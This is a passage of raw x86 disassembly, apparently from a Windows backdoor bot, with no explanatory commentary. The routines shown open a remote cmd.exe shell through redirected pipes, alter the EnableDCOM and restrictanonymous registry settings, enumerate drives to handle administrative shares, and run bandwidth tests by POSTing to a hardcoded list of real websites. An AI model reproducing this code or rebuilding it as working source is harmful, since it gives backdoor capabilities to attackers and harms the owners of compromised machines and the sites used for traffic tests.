loc_417B76: ; CODE XREF: sub_417A44+C3j
push offset unk_450724
push ebx
push dword_4EF814
call sub_4179BD
push [ebp+arg_0]
call sub_40AB19
add esp, 10h
push edi
call dword_4F1388 ; ExitThread
sub_417A44 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B99 proc near ; CODE XREF: sub_401CC1+203Cp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_417955
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe_0 ; "cmd.exe"
push esi
call dword_4E0958
test eax, eax
jz loc_417C93
lea eax, [ebp+var_1C]
mov edi, dword_4F13B8
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_417C93
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_417C93
mov edi, dword_4F13B4
push 3
push esi
push esi
push offset dword_4EF7D8
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_4F13B0 ; DuplicateHandle
test eax, eax
jz short loc_417C93
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B190
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B190
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset dword_4EF820
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_4F1328 ; CreateProcessA
test eax, eax
jnz short loc_417C9B
loc_417C93: ; CODE XREF: sub_417B99+2Ej
; sub_417B99+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_417D4D
; ---------------------------------------------------------------------------
loc_417C9B: ; CODE XREF: sub_417B99+F8j
push [ebp+var_4]
mov edi, dword_4F1324
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4EF7D4, eax
mov eax, [ebp+var_8]
mov dword_4EF7DC, eax
mov eax, [ebp+var_2C]
mov dword_4EF7D0, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4EF814, eax
jz short loc_417CD5
push [ebp+arg_4]
jmp short loc_417CDA
; ---------------------------------------------------------------------------
loc_417CD5: ; CODE XREF: sub_417B99+135j
push offset dword_4EF824
loc_417CDA: ; CODE XREF: sub_417B99+13Aj
push offset dword_4EF7E0
call sub_41B740
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_45075C
call sub_40A7FD
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_4537D0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_417A44
push esi
push esi
call dword_4F1338 ; CreateThread
cmp eax, esi
mov dword_4537DC[edi], eax
jnz short loc_417D4B
call dword_4F1348 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_450780
push eax
call sub_41B740
lea eax, [ebp+var_378]
push eax
call sub_41458A
add esp, 10h
loc_417D4B: ; CODE XREF: sub_417B99+189j
xor eax, eax
loc_417D4D: ; CODE XREF: sub_417B99+FDj
pop edi
pop esi
leave
retn
sub_417B99 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+8]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp-98h]
rep movsd
pop edi
pop esi
push dword ptr [ebp-8]
cmp dword ptr [ebp-10h], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp-94h]
push dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-98h]
jz short loc_417D98
call sub_417DB1
jmp short loc_417D9D
; ---------------------------------------------------------------------------
loc_417D98: ; CODE XREF: .nsp0:00417D8Fj
call sub_4180D5
loc_417D9D: ; CODE XREF: .nsp0:00417D96j
add esp, 10h
push dword ptr [ebp-14h]
call sub_40AB19
pop ecx
push 0
call dword_4F1388 ; ExitThread
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DB1 proc near ; CODE XREF: .nsp0:00417D91p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4E096C, edi
jnz loc_417EE3
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4E090C
test eax, eax
jnz short loc_417E3C
mov ax, word_4507F8
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4E08C4
test eax, eax
jz short loc_417E1E
push offset dword_450808
jmp short loc_417E23
; ---------------------------------------------------------------------------
loc_417E1E: ; CODE XREF: sub_417DB1+64j
push offset dword_45082C
loc_417E23: ; CODE XREF: sub_417DB1+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B740
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E087C
jmp short loc_417E4F
; ---------------------------------------------------------------------------
loc_417E3C: ; CODE XREF: sub_417DB1+36j
lea eax, [ebp+var_214]
push offset dword_45084C
push eax
call sub_41B740
pop ecx
pop ecx
loc_417E4F: ; CODE XREF: sub_417DB1+89j
cmp [ebp+arg_C], edi
jnz short loc_417E6E
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_417E6E: ; CODE XREF: sub_417DB1+A1j
lea eax, [ebp+var_214]
push eax
call sub_41458A
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4E090C
test eax, eax
jnz short loc_417EDC
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4E08C4
test eax, eax
jz short loc_417EBE
push offset dword_450890
jmp short loc_417EC3
; ---------------------------------------------------------------------------
loc_417EBE: ; CODE XREF: sub_417DB1+104j
push offset dword_4508CC
loc_417EC3: ; CODE XREF: sub_417DB1+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B740
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E087C
jmp short loc_417EF6
; ---------------------------------------------------------------------------
loc_417EDC: ; CODE XREF: sub_417DB1+E2j
push offset dword_450900
jmp short loc_417EE8
; ---------------------------------------------------------------------------
loc_417EE3: ; CODE XREF: sub_417DB1+13j
push offset dword_45093C
loc_417EE8: ; CODE XREF: sub_417DB1+130j
lea eax, [ebp+var_214]
push eax
call sub_41B740
pop ecx
pop ecx
loc_417EF6: ; CODE XREF: sub_417DB1+129j
cmp [ebp+arg_C], edi
jnz short loc_417F15
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_417F15: ; CODE XREF: sub_417DB1+148j
lea eax, [ebp+var_214]
push eax
call sub_41458A
cmp dword_4E0994, edi
pop ecx
jnz loc_418090
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_417F38: ; CODE XREF: sub_417DB1+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4E07F4
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_417FD5
cmp eax, 0EAh
jz short loc_417FD5
mov esi, offset off_4507B8
loc_417F69: ; CODE XREF: sub_417DB1+21Dj
push dword ptr [esi]
push edi
call sub_416BA8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_417F80
push offset dword_4509BC
jmp short loc_417F85
; ---------------------------------------------------------------------------
loc_417F80: ; CODE XREF: sub_417DB1+1C6j
push offset dword_4509E0
loc_417F85: ; CODE XREF: sub_417DB1+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B910
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_417FB8
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_417FB8: ; CODE XREF: sub_417DB1+1EBj
lea eax, [ebp+var_214]
push eax
call sub_41458A
add esi, 8
pop ecx
cmp esi, offset dword_4507D8
jl short loc_417F69
jmp loc_41806D
; ---------------------------------------------------------------------------
loc_417FD5: ; CODE XREF: sub_417DB1+1AAj
; sub_417DB1+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_418064
loc_417FE4: ; CODE XREF: sub_417DB1+2AFj
mov edi, [esi]
push edi
call sub_41E720
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_418059
push edi
call sub_416A95
push eax
push 0
call sub_416BA8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_418013
push offset dword_45096C
jmp short loc_418018
; ---------------------------------------------------------------------------
loc_418013: ; CODE XREF: sub_417DB1+259j
push offset dword_450990
loc_418018: ; CODE XREF: sub_417DB1+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B910
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41804C
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_41804C: ; CODE XREF: sub_417DB1+27Fj
lea eax, [ebp+var_214]
push eax
call sub_41458A
pop ecx
loc_418059: ; CODE XREF: sub_417DB1+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_417FE4
xor edi, edi
loc_418064: ; CODE XREF: sub_417DB1+22Dj
push [ebp+var_8]
call dword_4E092C
loc_41806D: ; CODE XREF: sub_417DB1+21Fj
cmp [ebp+var_10], 0EAh
jz loc_417F38
lea eax, [ebp+var_214]
push offset dword_450A0C
push eax
call sub_41B740
pop ecx
pop ecx
pop ebx
jmp short loc_4180A3
; ---------------------------------------------------------------------------
loc_418090: ; CODE XREF: sub_417DB1+177j
lea eax, [ebp+var_214]
push offset dword_450A34
push eax
call sub_41B740
pop ecx
pop ecx
loc_4180A3: ; CODE XREF: sub_417DB1+2DDj
cmp [ebp+arg_C], edi
jnz short loc_4180C1
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_4180C1: ; CODE XREF: sub_417DB1+2F5j
lea eax, [ebp+var_214]
push eax
call sub_41458A
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_417DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180D5 proc near ; CODE XREF: .nsp0:loc_417D98p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push esi
push edi
xor edi, edi
cmp dword_4E096C, edi
jnz loc_418203
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4E090C
test eax, eax
jnz short loc_418160
mov ax, word_450A64
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom_0 ; "EnableDCOM"
push [ebp+var_4]
call dword_4E08C4
test eax, eax
jz short loc_418142
push offset dword_450A74
jmp short loc_418147
; ---------------------------------------------------------------------------
loc_418142: ; CODE XREF: sub_4180D5+64j
push offset dword_450A98
loc_418147: ; CODE XREF: sub_4180D5+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B740
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E087C
jmp short loc_418173
; ---------------------------------------------------------------------------
loc_418160: ; CODE XREF: sub_4180D5+36j
lea eax, [ebp+var_220]
push offset dword_450AB4
push eax
call sub_41B740
pop ecx
pop ecx
loc_418173: ; CODE XREF: sub_4180D5+89j
cmp [ebp+arg_C], edi
jnz short loc_418192
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_418192: ; CODE XREF: sub_4180D5+A1j
lea eax, [ebp+var_220]
push eax
call sub_41458A
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4E090C
test eax, eax
jnz short loc_4181FC
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanon_0 ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], edi
call dword_4E08C4
test eax, eax
jz short loc_4181DE
push offset dword_450AF8
jmp short loc_4181E3
; ---------------------------------------------------------------------------
loc_4181DE: ; CODE XREF: sub_4180D5+100j
push offset dword_450B38
loc_4181E3: ; CODE XREF: sub_4180D5+107j
lea eax, [ebp+var_220]
push eax
call sub_41B740
pop ecx
pop ecx
push [ebp+var_4]
call dword_4E087C
jmp short loc_418216
; ---------------------------------------------------------------------------
loc_4181FC: ; CODE XREF: sub_4180D5+E2j
push offset dword_450B70
jmp short loc_418208
; ---------------------------------------------------------------------------
loc_418203: ; CODE XREF: sub_4180D5+13j
push offset dword_450BAC
loc_418208: ; CODE XREF: sub_4180D5+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B740
pop ecx
pop ecx
loc_418216: ; CODE XREF: sub_4180D5+125j
cmp [ebp+arg_C], edi
jnz short loc_418235
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_418235: ; CODE XREF: sub_4180D5+144j
lea eax, [ebp+var_220]
push eax
call sub_41458A
cmp dword_4E0994, edi
pop ecx
jnz loc_4183A7
mov esi, offset off_4507B8
loc_418253: ; CODE XREF: sub_4180D5+1E7j
push dword ptr [esi+4]
push dword ptr [esi]
push edi
call sub_416AFC
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41826E
push offset dword_450BDC
jmp short loc_418273
; ---------------------------------------------------------------------------
loc_41826E: ; CODE XREF: sub_4180D5+190j
push offset dword_450BFC
loc_418273: ; CODE XREF: sub_4180D5+197j
lea eax, [ebp+var_220]
push 200h
push eax
call sub_41B910
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_4182A6
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_4182A6: ; CODE XREF: sub_4180D5+1B5j
lea eax, [ebp+var_220]
push eax
call sub_41458A
add esi, 8
pop ecx
cmp esi, offset off_4507C8
jl short loc_418253
push ebx
call dword_4F1430 ; GetLogicalDrives
mov edi, eax
mov bl, 41h
test edi, edi
jz loc_41838F
loc_4182D1: ; CODE XREF: sub_4180D5+2B4j
mov eax, edi
and eax, 1
cmp al, 1
jnz loc_418385
cmp bl, 41h
jz loc_418385
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B910
push esi
push offset aC_3 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41B910
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_4E08FC
cmp eax, 3
jnz short loc_418385
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_416AFC
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41833F
push offset dword_450C30
jmp short loc_418344
; ---------------------------------------------------------------------------
loc_41833F: ; CODE XREF: sub_4180D5+261j
push offset dword_450C50
loc_418344: ; CODE XREF: sub_4180D5+268j
lea eax, [ebp+var_220]
push 200h
push eax
call sub_41B910
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_418378
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_418378: ; CODE XREF: sub_4180D5+287j
lea eax, [ebp+var_220]
push eax
call sub_41458A
pop ecx
loc_418385: ; CODE XREF: sub_4180D5+203j
; sub_4180D5+20Cj ...
inc bl
shr edi, 1
jnz loc_4182D1
loc_41838F: ; CODE XREF: sub_4180D5+1F6j
lea eax, [ebp+var_220]
push offset dword_450C78
push eax
call sub_41B740
pop ecx
xor edi, edi
pop ecx
pop ebx
jmp short loc_4183BA
; ---------------------------------------------------------------------------
loc_4183A7: ; CODE XREF: sub_4180D5+173j
lea eax, [ebp+var_220]
push offset dword_450C9C
push eax
call sub_41B740
pop ecx
pop ecx
loc_4183BA: ; CODE XREF: sub_4180D5+2D0j
cmp [ebp+arg_C], edi
jnz short loc_4183D8
push edi
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_4183D8: ; CODE XREF: sub_4180D5+2E8j
lea eax, [ebp+var_220]
push eax
call sub_41458A
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4180D5 endp
; =============== S U B R O U T I N E =======================================
sub_4183EC proc near ; CODE XREF: sub_4185E1+CBp
; sub_4185E1+DDp ...
arg_0 = dword ptr 4
call dword_4F1364 ; GetTickCount
push eax
call sub_41B840
pop ecx
call sub_41B850
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_4183EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418406 proc near ; CODE XREF: sub_4185E1+D4p
; sub_4185E1+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_418D00
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_4185DD
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B190
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_409EFD
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_4185DD
push 50h
call dword_4E08A0
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4E091C
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_4185DD
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4E084C
cmp eax, 0FFFFFFFFh
jz loc_4185DD
push 32003h
call sub_41D910
mov edi, dword_4F1364
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41B840
call sub_41B850
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B190
push 32000h
push esi
push ebx
call sub_41B190
push ebx
call sub_418D00
push 323EAh
mov ebx, eax
call sub_41D910
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B740
push [ebp+var_8]
push esi
call sub_41C310
push offset asc_450D00 ; "\r\n"
push esi
call sub_41C310
add esp, 40h
push esi
call sub_418D00
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41855D
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41852D
; ---------------------------------------------------------------------------
loc_41852A: ; CODE XREF: sub_418406+155j
mov eax, [ebp+arg_0]
loc_41852D: ; CODE XREF: sub_418406+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41853D
push [ebp+var_C]
jmp short loc_41853E
; ---------------------------------------------------------------------------
loc_41853D: ; CODE XREF: sub_418406+130j
push ebx
loc_41853E: ; CODE XREF: sub_418406+135j
add eax, esi
push eax
push [ebp+var_4]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jz short loc_4185C4
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41852A
loc_41855D: ; CODE XREF: sub_418406+118j
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4374F4
fst [ebp+arg_0]
fcomp flt_4374F0
fnstsw ax
sahf
jnz short loc_418585
fld1
fstp [ebp+arg_0]
loc_418585: ; CODE XREF: sub_418406+178j
push [ebp+var_4]
call dword_4E0934
push [ebp+var_8]
call sub_419940
push esi
call sub_419940
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4374EC
fmul flt_4374E8
call sub_41CEBC
loc_4185BF: ; CODE XREF: sub_418406+1D9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4185C4: ; CODE XREF: sub_418406+147j
push [ebp+var_4]
call dword_4E0934
push [ebp+var_8]
call sub_419940
push esi
call sub_419940
pop ecx
pop ecx
loc_4185DD: ; CODE XREF: sub_418406+19j
; sub_418406+42j ...
xor eax, eax
jmp short loc_4185BF
sub_418406 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185E1 proc near ; CODE XREF: sub_401CC1+28BEp
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_4183EC
push [ebp+eax*4+var_3C]
call sub_418406
push 8
mov esi, eax
call sub_4183EC
push [ebp+eax*4+var_3C]
call sub_418406
add esp, 10h
test esi, esi
jz short loc_4186E2
test eax, eax
jz short loc_4186DE
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_4186E4
; ---------------------------------------------------------------------------
loc_4186DE: ; CODE XREF: sub_4185E1+F4j
mov ebx, esi
jmp short loc_4186E4
; ---------------------------------------------------------------------------
loc_4186E2: ; CODE XREF: sub_4185E1+F0j
mov ebx, eax
loc_4186E4: ; CODE XREF: sub_4185E1+FBj
; sub_4185E1+FFj
push 0Ch
call sub_4183EC
push [ebp+eax*4+var_6C]
call sub_418406
push 0Ch
mov edi, eax
call sub_4183EC
push [ebp+eax*4+var_6C]
call sub_418406
add esp, 10h
test edi, edi
jz short loc_41871C
test eax, eax
jz short loc_418718
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41871E
; ---------------------------------------------------------------------------
loc_418718: ; CODE XREF: sub_4185E1+12Ej
mov esi, edi
jmp short loc_41871E
; ---------------------------------------------------------------------------
loc_41871C: ; CODE XREF: sub_4185E1+12Aj
mov esi, eax
loc_41871E: ; CODE XREF: sub_4185E1+135j
; sub_4185E1+139j
push 6
call sub_4183EC
push [ebp+eax*4+var_1C]
call sub_418406
push 6
mov edi, eax
call sub_4183EC
push [ebp+eax*4+var_1C]
call sub_418406
add esp, 10h
test edi, edi
jz short loc_418756
test eax, eax
jz short loc_418752
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_418758
; ---------------------------------------------------------------------------
loc_418752: ; CODE XREF: sub_4185E1+168j
mov ecx, edi
jmp short loc_418758
; ---------------------------------------------------------------------------
loc_418756: ; CODE XREF: sub_4185E1+164j
mov ecx, eax
loc_418758: ; CODE XREF: sub_4185E1+16Fj
; sub_4185E1+173j
xor eax, eax
test ebx, ebx
jz short loc_418765
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_418768
; ---------------------------------------------------------------------------
loc_418765: ; CODE XREF: sub_4185E1+17Bj
push 2
pop edi
loc_418768: ; CODE XREF: sub_4185E1+182j
test esi, esi
jz short loc_418770
add eax, esi
jmp short loc_418771
; ---------------------------------------------------------------------------
loc_418770: ; CODE XREF: sub_4185E1+189j
dec edi
loc_418771: ; CODE XREF: sub_4185E1+18Dj
test ecx, ecx
jz short loc_418779
add eax, ecx
jmp short loc_41877A
; ---------------------------------------------------------------------------
loc_418779: ; CODE XREF: sub_4185E1+192j
dec edi
loc_41877A: ; CODE XREF: sub_4185E1+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_450EB0
push eax
call sub_41B740
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
lea eax, [ebp+var_26C]
push eax
call sub_41458A
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_4185E1 endp
; =============== S U B R O U T I N E =======================================
sub_4187BE proc near ; CODE XREF: sub_401CC1+20D5p
; sub_401CC1+2559p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_4F1364 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
